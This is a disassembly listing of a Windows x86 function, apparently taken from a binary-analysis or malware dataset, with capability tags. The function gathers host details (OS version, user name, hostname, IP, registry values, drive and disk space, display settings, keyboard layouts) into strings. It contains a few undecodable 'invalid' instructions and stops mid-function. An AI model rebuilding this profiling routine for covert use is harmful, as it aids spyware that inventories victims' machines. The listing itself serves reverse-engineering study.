Function at 0x408164
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x40816c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x409451
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x409468
call fcn.00403770
mov dword [ebp - 0xe4], 0x94
mov eax, 0x41ab14
mov edx, 0x409474
call fcn.00403770
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x4081d2
lea eax, [ebp - 0xc]
mov edx, 0x40951c
call fcn.004037b4
jmp 0x4081f6
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405370
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x409538
call fcn.004038e0
cmp byte [0x41ab58], 0
je 0x40820e
lea eax, [ebp - 8]
mov edx, 0x409554
call fcn.004037b4
jmp 0x40821b
lea eax, [ebp - 8]
mov edx, 0x409564
call fcn.004037b4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405370
push dword [ebp - 0x5a0]
push 0x409574
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405370
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x10]
mov edx, 0x409580
call fcn.004039e0
jne 0x40827f
lea eax, [ebp - 8]
mov edx, 0x40958c
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x40959c
call fcn.00403770
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, 0x409620
call fcn.004039e0
jne 0x4082bf
lea eax, [ebp - 0x1c]
mov edx, 0x409638
call fcn.004037b4
jmp 0x408317
mov eax, dword [ebp - 0x1c]
mov edx, 0x409644
call fcn.004039e0
jne 0x4082dd
lea eax, [ebp - 0x1c]
mov edx, 0x40965c
call fcn.004037b4
jmp 0x408317
mov eax, dword [ebp - 0x1c]
mov edx, 0x409668
call fcn.004039e0
jne 0x4082fb
lea eax, [ebp - 0x1c]
mov edx, 0x409680
call fcn.004037b4
jmp 0x408317
mov eax, dword [ebp - 0x1c]
mov edx, 0x40968c
call fcn.004039e0
jne 0x408317
lea eax, [ebp - 0x1c]
mov edx, 0x4096a4
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405370
mov ecx, dword [ebp - 0x5a8]
lea eax, [ebp - 0x14]
mov edx, 0x4096b0
call fcn.004038e0
push dword [ebp - 8]
push 0x409468
push dword [ebp - 0x10]
push 0x4096c0
push dword [ebp - 0x1c]
push 0x4096c0
push dword [ebp - 0x14]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403954
push 0x4096cc
push dword [ebp - 0xc]
push 0x4096cc
push dword [ebp - 8]
push 0x409468
push dword [ebp - 0x10]
push 0x4096cc
push dword [ebp - 0x14]
push 0x4096cc
push dword [ebp - 0x1c]
push 0x4096cc
push 0x4096d8
push dword [0x41aadc]
push 0x4096ec
push 0x4096cc
mov eax, ebx
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x4096f8
lea eax, [ebp - 0x5ac]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5ac]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x40970c
mov edx, 0x409720
mov eax, 0x80000001
call fcn.004067c8
push dword [ebx]
push 0x409744
push dword [ebp - 8]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x409758
call fcn.00403770
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403954
push dword [ebx]
push 0x409780
push dword [0x41aad8]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x409798
push dword [0x41aad8]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x4097a8
lea eax, [ebp - 0x5b0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5b0]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x4097bc
call fcn.00403770
push dword [ebp - 0x18]
push 0x409860
lea eax, [ebp - 0x5b4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5b4]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x409870
call fcn.00403770
lea eax, [ebp - 8]
mov edx, 0x409914
call fcn.004037b4
lea eax, [ebp - 0xc]
mov ecx, 0x409938
mov edx, dword [ebp - 8]
call fcn.004038e0
mov eax, dword [0x41924c]
push eax
mov ecx, 0x409954
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406714
lea edx, [ebp - 0x10]
call fcn.00405350
push dword [ebp - 0x18]
push 0x409964
push dword [ebp - 0x10]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x409974
push 0x409980
push dword [ebp - 0x10]
push 0x409990
push 0x4096cc
push 0x4099a0
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0x4099bc
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5b8]
push 0x4096cc
push 0x4099d8
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 0x4099f0
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5bc]
push 0x4096cc
push 0x409a04
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5c0]
push eax
mov ecx, 0x409a18
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5c0]
push 0x4096cc
push 0x409a34
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5c4]
push eax
mov ecx, 0x409a4c
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5c4]
push 0x4096cc
push 0x409a68
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5c8]
push eax
mov ecx, 0x409a7c
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5c8]
push 0x4096cc
push 0x409a94
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5cc]
push eax
mov ecx, 0x409ab4
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5cc]
push 0x4096cc
push 0x409ad0
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x5d0]
push eax
mov ecx, 0x409aec
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.004067c8
push dword [ebp - 0x5d0]
push 0x4096cc
mov eax, ebx
mov edx, 0x1b
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 0x409b04
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x409b14
call fcn.00403770
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405350
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409bb4
call fcn.004038e0
mov ecx, dword [ebp - 0x5d4]
mov edx, 0x409bcc
mov eax, 0x80000002
call fcn.004067c8
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x4087b0
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d8]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409bf4
call fcn.004038e0
mov ecx, dword [ebp - 0x5d8]
mov edx, 0x409c10
mov eax, 0x80000002
call fcn.004067c8
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x40880c
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x4096cc
mov eax, ebx
mov edx, 4
call fcn.00403954
inc edi
cmp edi, 7
jne 0x40874a
mov eax, 0x41ab14
mov edx, 0x409c3c
call fcn.00403770
mov eax, dword [0x41924c]
push eax
mov ecx, 0x409c68
mov edx, 0x409c80
mov eax, 0x80000002
call fcn.00406714
lea edx, [ebp - 0x14]
call fcn.00405350
mov eax, 0x41ab14
mov edx, 0x409cc8
call fcn.00403770
mov eax, dword [ebp - 0x14]
call fcn.00403894
test eax, eax
jle 0x40887c
push 0x409d70
push dword [ebp - 0x14]
push 0x4096cc
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x409d88
call fcn.00403770
push dword [ebp - 0x18]
push dword [0x41aadc]
push 0x4096c0
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403954
push dword [ebx]
push 0x409e24
push dword [0x41aaec]
push 0x4096cc
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 5
call fcn.00403954
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, 0x41ab14
mov edx, 0x409e34
call fcn.00403770
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040384c
push dword [ebx]
push 0x409ea0
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x409eb4
call fcn.00403770
push dword [ebp - 0x18]
push 0x409f50
push dword [ebp - 8]
push 0x4096c0
push 0x409f5c
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403954
call sub.wsock32.dll_WSACleanup
mov eax, 0x41ab14
mov edx, 0x409f6c
call fcn.00403770
push dword [ebx]
push 0x4096cc
push 0x4096cc
push 0x40a044
push 0x4096cc
mov eax, ebx
mov edx, 5
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x40a05c
call fcn.00403770
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x5dc]
mov dl, byte [ebp - 1]
call fcn.0040383c
mov edx, dword [ebp - 0x5dc]
lea eax, [ebp - 0x20]
mov ecx, 0x40a120
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00403a94
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x4089e6.0
jmp dword [eax*4 + 0x4089ed]
mov eax, 0x41ab14
mov edx, 0x40a12c
call fcn.00403770
lea eax, [ebp - 8]
mov edx, 0x40a150
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x40a164
call fcn.004037b4
jmp 0x408b1c
mov eax, 0x41ab14
mov edx, 0x40a170
call fcn.00403770
lea eax, [ebp - 8]
mov edx, 0x40a1d0
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x40a1e0
call fcn.004037b4
jmp 0x408b1c
lea eax, [ebp - 8]
mov edx, 0x40a1ec
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x40a1fc
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x40a20c
call fcn.00403770
jmp 0x408b1c
lea eax, [ebp - 8]
mov edx, 0x40a27c
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x40a28c
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x40a298
call fcn.00403770
push dword [ebx]
push 0x4096cc
push 0x409974
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x4096cc
mov eax, ebx
mov edx, 6
call fcn.00403954
lea eax, [ebp - 8]
call fcn.0040371c
jmp 0x408b1c
lea eax, [ebp - 8]
mov edx, 0x40a318
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x40a328
call fcn.00403770
lea eax, [ebp - 0xc]
mov edx, 0x40a348
call fcn.004037b4
jmp 0x408b1c
lea eax, [ebp - 8]
call fcn.0040371c
mov eax, 0x41ab14
mov edx, 0x40a35c
call fcn.00403770
mov eax, dword [ebp - 8]
call fcn.00403894
dec eax
jl 0x408d74
mov eax, 0x41ab14
mov edx, 0x409cc8
call fcn.00403770
push dword [ebp - 0x18]
lea eax, [ebp - 0x5e0]
cli
invalid
dec dword [edx - 0x1d1700ab]
lodsb al, byte [esi]
invalid
invalid
push dword [ebp - 0x5e0]
push 0x40a3b0
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x409974
push dword [ebp - 0x20]
push 0x4096cc
push 0x40a3bc
push dword [ebp - 8]
push 0x4096cc
mov eax, ebx
mov edx, 7
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x40a3cc
call fcn.00403770
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
push esi
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x408c9b
push dword [ebx]
push 0x40a490
lea eax, [ebp - 0x5e4]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x5e4]
push 0x4096cc
push 0x40a4a0
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x5e8]
push 0x4096cc
push 0x40a4b0
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405370
push dword [ebp - 0x5ec]
push 0x4096cc
push 0x40a4c0
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f0]
call fcn.00405370
push dword [ebp - 0x5f0]
push 0x4096cc
push 0x40a4d4
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00405370
push dword [ebp - 0x5f4]
push 0x4096cc
mov eax, ebx
mov edx, 0x10
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x40a4e4
call fcn.00403770
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x408d74
push dword [ebx]
push 0x40a578
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x5f8]
call fcn.00405370
push dword [ebp - 0x5f8]
push 0x40a588
push 0x4096cc
push 0x40a594
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00405370
push dword [ebp - 0x5fc]
push 0x40a588
push 0x4096cc
push 0x40a5a4
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00405370
push dword [ebp - 0x600]
push 0x40a588
push 0x4096cc
mov eax, ebx
mov edx, 0xd
call fcn.00403954
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x4089ac
push 0
push 0
push 0
push 0x40a5ac
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405350
mov eax, 0x41ab14
mov edx, 0x40a5bc
call fcn.00403770
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405350
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405350
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405350
push esi
call sub.gdi32.dll_DeleteDC
push dword [ebx]
push 0x409974
push 0x40a5d4
push 0x4096cc
push 0x40a5e8
push dword [ebp - 8]
push 0x4096cc
push 0x40a5f8
push dword [ebp - 0xc]
push 0x4096cc
push 0x40a60c
push dword [ebp - 0x10]
push 0x4096cc
push 0x40a620
push dword [ebp - 0x14]
push 0x4096cc
mov eax, ebx
mov edx, 0x10
call fcn.00403954
push dword [ebp - 0x18]
push 0x4096c0
push 0x40a638
push dword [ebp - 8]
push 0x40a648
push dword [ebp - 0xc]
push 0x40a654
push dword [ebp - 0x10]
push 0x40a648
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x40a660
call fcn.00403770
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x598]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
mov eax, 0x41ab14
mov edx, 0x409870
call fcn.00403770
push 0x40a6e0
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00405370
push dword [ebp - 0x604]
push 0x4096cc
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x40a6fc
call fcn.00403770
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x409345
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x598]